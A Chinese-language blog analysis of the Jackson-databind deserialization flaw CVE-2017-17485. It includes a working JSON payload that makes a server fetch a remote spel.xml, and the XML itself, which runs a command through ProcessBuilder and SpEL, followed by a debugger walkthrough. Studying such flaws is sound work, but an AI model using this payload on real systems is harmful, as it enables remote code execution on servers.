1. 程式人生 > >Java反序列化之Jackson-databind

Java反序列化之Jackson-databind

這個洞的cve編號:CVE-2017-17485,漏洞環境就如第一個連結那樣,jdk需要在jdk 1.8以上。
先看一下Jackson-databind的用法,說白了就是將json轉換成物件。
test-legit.json程式碼如下

{"id":123}

執行結果如圖:
Alt text
如果注入的json程式碼如下程式碼,就會引入FileSystemXmlApplicationContext這個類,去下載spel.xml:

{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

spel.xml配置如下:

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder">
     <constructor-arg value="calc.exe" />
     <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

下斷點除錯一下,F7跟進readValue函式。
Alt text
在readValue函式就是反序列化json,一直f8以後,在getBean下斷點後,讀取了id是pb的bean,也就是getBean執行完成後操作導致命令執行了(具體的例子可以看第一個連結)。
Alt text
進行表示式評估。
Alt text
返回建構函式。
Alt text
對#{ pb.start() }進行spel操作
Alt text
當解析完pb.start操作後就會命令執行
呼叫棧如下圖:
Alt text

說一下為什麼引入FileSystemXmlApplicationContext類就能操縱spel
先找到FileSystemXmlApplicationContext這個類
Alt text
通過IntelliJ IDEA的Show Diagram Popup這個功能來觀察類和介面的繼承關係
Alt text


雙擊BeanFactory介面,這個介面有getBean方法
Alt text
實際呼叫geBean方法的則是在AbstractBeanFactory類中
Alt text
還有一個jakson CVE-2017-7525的洞有時間在跟一下。
可以參考這幾篇文章:http://xxlegend.com/
https://github.com/shengqi158/Jackson-databind-RCE-PoC
http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
參考連結:
https://chenergy1991.github.io/2017/12/25/CVE-2017-7275/
http://pirogue.org/2018/01/12/jackson-databind-rce/
https://github.com/irsl/jackson-rce-via-spel